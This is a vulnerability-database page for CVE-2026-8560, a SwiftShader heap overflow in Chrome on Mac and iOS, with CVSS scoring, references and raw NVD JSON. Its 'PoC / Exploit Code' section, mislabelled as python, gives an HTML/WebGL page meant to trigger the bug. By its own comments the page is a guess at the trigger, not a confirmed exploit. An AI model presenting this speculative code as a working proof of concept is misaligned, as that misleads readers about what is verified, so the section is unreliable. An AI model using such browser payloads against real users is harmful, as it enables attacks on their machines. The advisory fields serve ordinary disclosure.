CVE-2026-8560

Description

Heap buffer overflow in SwiftShader in Google Chrome on Mac and iOS prior to 148.0.7778.168 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.168 (Mac)

Google Chrome < 148.0.7778.168 (iOS)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-8560 -->
<!-- Heap buffer overflow in SwiftShader via crafted WebGL -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-8560 PoC</title>
</head>
<body>
    <canvas id="glCanvas" width="640" height="480"></canvas>
    <script>
        // Attempt to trigger the vulnerability in SwiftShader
        const canvas = document.getElementById('glCanvas');
        const gl = canvas.getContext('webgl');

        if (gl) {
            console.log("WebGL context initialized. Attempting to trigger overflow...");
            
            // Create a texture with crafted dimensions to potentially trigger the overflow
            // Specific dimensions and data depend on the actual vulnerability trigger
            const texture = gl.createTexture();
            gl.bindTexture(gl.TEXTURE_2D, texture);
            
            // Use specific parameters that might cause SwiftShader to mishandle memory
            const width = 0x10000;
            const height = 1;
            
            try {
                // Allocate data and upload to texture
                const data = new Uint8Array(width * height * 4);
                // Fill with pattern to help debugging if crash occurs
                for(let i=0; i<data.length; i++) data[i] = i % 256;
                
                gl.texImage2D(
                    gl.TEXTURE_2D,
                    0,
                    gl.RGBA,
                    width,
                    height,
                    0,
                    gl.RGBA,
                    gl.UNSIGNED_BYTE,
                    data
                );
                
                console.log("Texture uploaded. If vulnerable, a crash or OOB read may occur.");
            } catch (e) {
                console.log("Exception caught: " + e.message);
            }
        } else {
            console.log("WebGL not supported or SwiftShader not active.");
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8560
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8560
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8560/
[4] VulDB https://vuldb.com/cve/CVE-2026-8560
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/328109821

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8560", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:18.083", "lastModified": "2026-05-14T22:16:49.553", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap buffer overflow in SwiftShader in Google Chrome on Mac and iOS prior to 148.0.7778.168 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/328109821", "source": "[email protected]"}]}}